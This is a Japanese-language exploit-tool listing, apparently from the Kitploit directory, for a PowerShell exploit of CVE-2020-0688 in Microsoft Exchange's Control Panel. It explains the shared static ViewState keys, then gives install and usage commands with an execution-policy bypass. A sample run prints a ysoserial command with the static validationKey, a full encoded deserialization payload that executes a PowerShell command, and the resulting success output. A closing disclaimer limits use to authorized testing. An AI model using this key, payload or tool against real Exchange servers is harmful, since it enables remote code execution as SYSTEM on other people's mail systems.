Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-0688 — Microsoft Exchange Server における固定暗号鍵を介したリモートコード実行 | Kitploit
ツール/GitHubGitHub/mrtiz/cve-2020-0688
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubmrtiz/cve-2020-0688

CVE-2020-0688

Microsoft Exchange Server における固定暗号鍵を介したリモートコード実行

リポジトリを見る
21535年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2020-0688

Microsoft Exchange Server がインストール時に一意のキーを適切に生成できない場合、リモートコード実行の脆弱性が存在します。

検証キーを知っていると、メールボックスを持つ認証済みユーザーが、SYSTEM として実行される Web アプリケーションによって逆シリアル化される任意のオブジェクトを渡すことができます。

脆弱性について

このバグは Exchange Control Panel (ECP) コンポーネントにあります。バグの性質は非常に単純です。インストールごとにランダムに生成されたキーを持つ代わりに、Microsoft Exchange Server のすべてのインストールは web.config 内で同じ validationKey と decryptionKey の値を持ちます。これらのキーは ViewState のセキュリティを提供するために使用されます。ViewState は、ASP.NET Web アプリケーションがクライアント上にシリアル化形式で保存するサーバー側データです。クライアントは、__VIEWSTATE リクエストパラメータを介してこのデータをサーバーに提供します。

静的キーの使用により、認証済みの攻撃者はサーバーを騙して、悪意を持って細工された ViewState データを逆シリアル化させることができます。YSoSerial.net の助けを借りて、攻撃者は SYSTEM として実行される Exchange Control Panel Web アプリケーションのコンテキストで、サーバー上で任意の .NET コードを実行できます。(ソース)

はじめに

以下の手順に従うことで、開発およびテスト目的のために、このプロジェクトのコピーをローカルマシンで取得して実行することができます。

前提条件

  • PowerShell

インストール

root@kitploit:~
git clone https://github.com/MrTiz/CVE-2020-0688.git

使用方法

root@kitploit:~
PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url <url> -Username <username> -Password <password> -Command <command> -YsoserialPath <ysoserialpath>

例

root@kitploit:~
PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url 'https://localhost' -Username 'domain\username' -Password 'REDACTED' -Command 'powershell whoami > C:/whoami.txt' -YsoserialPath 'C:\Users\User\Desktop\CVE-2020-0688\ysoserial\ysoserial.exe'

[*] Start to exploit...
[+] Login url: https://localhost:443/owa/auth.owa
[*] Status code: 200
[+] Login successfully!
[*] Tring to get __VIEWSTATEGENERATOR...
[+] Done! __VIEWSTATEGENERATOR: B97B4E27
[*] Tring to get ASP.NET_SessionId...
[+] Done! ASP.NET_SessionId: 624abfff-85b6-4357-be8c-18a931cad256

C:\Users\User\Desktop\CVE-2020-0688\ysoserial\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell whoami > C:/whoami.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="624abfff-85b6-4357-be8c-18a931cad256" --islegacy --isdebug

[+] Exp url: https://localhost:443/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyywYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADtBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BcG93ZXJzaGVsbDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BIndob2FtaSAmZ3Q7IEM6L3dob2FtaS50eHQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgviru9bDCgMPT0snH0s0u%2BA6J37Fg%3D%3D

[*] Auto trigger payload...
[+] Status code: 500, Maybe success!

貢献

コントリビューションこそが、オープンソースコミュニティを学び、刺激し、創造するための素晴らしい場所にしています。提供いただけるコントリビューションはすべて大いに歓迎します。

  1. プロジェクトをフォークする
  2. 機能ブランチを作成する (git checkout -b feature/AmazingFeature)
  3. 変更をコミットする (git commit -m 'Add some AmazingFeature')
  4. ブランチにプッシュする (git push origin feature/AmazingFeature)
  5. プルリクエストを開く

著者

  • Tiziano Marra

免責事項

このエクスプロイトは、教育および研究目的のみのために開発・公開されました。作者は、いかなる違法な使用に対しても責任を負いません。自己責任で使用し、テストすることを許可されたシステムに対してのみ使用してください。

ライセンス

License: GPL v3

このプロジェクトは GNU General Public License v3.0 の下でライセンスされています。詳細については LICENSE ファイルを参照してください。

ツールをダウンロード